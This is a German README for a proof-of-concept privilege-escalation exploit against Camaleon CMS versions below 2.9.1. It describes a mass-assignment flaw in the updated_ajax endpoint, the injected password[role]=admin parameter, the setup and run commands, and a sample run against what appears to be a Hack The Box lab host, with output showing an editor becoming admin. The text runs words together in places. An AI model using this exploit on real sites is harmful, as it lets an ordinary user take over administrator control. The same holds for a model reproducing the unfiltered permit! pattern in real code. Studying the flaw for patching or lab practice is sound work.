
Proof-of-Concept-Exploit für eine Massenzuweisungs-Privilegieneskalationsschwachstelle in Camaleon CMS < 2.9.1. Authentifizierte Benutzer mit niedrigen Rechten können durch Injizieren von Rollenparametern zu Administratoren aufsteigen.
Privilegienerweiterungsschwachstelle in Camaleon CMS < 2.9.1. Der
updated_ajax-Endpunkt inUsersControllerruftparams.require(:password).permit!ohne Filterung auf, sodass jeder Parameter massenweise zugewiesen werden kann. Ein authentifizierter Benutzer mit niedrigen Rechten kann durch Injizieren vonpassword[role]=adminzusammen mit einer Passwortänderungsanforderung auf Admin-Rechte eskalieren.
/admin/users/<id>/updated_ajax senden, bei der password[role]=admin in die Passwortparameter injiziert wird.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
Beispiel:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.